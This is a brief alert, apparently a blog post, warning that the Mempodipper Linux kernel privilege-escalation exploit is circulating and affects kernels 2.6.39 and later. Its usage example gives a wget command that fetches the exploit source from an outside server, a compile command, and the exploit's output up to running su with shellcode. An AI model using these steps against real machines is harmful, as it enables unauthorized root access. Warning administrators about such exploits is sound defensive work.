A little quick article to alert you that an exploit is currently circulating on the Internet. This affects the Linux kernel version which is greater than or equal to 2.6.39.
Recent versions of Red Hat, Centos and Ubuntu. Here is an example of use:
$ wget dev.redcodenetwork.ro/public/hack/exploits/kernel/mempodipper.c
$ gcc mempodipper.c -o mempodipper
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.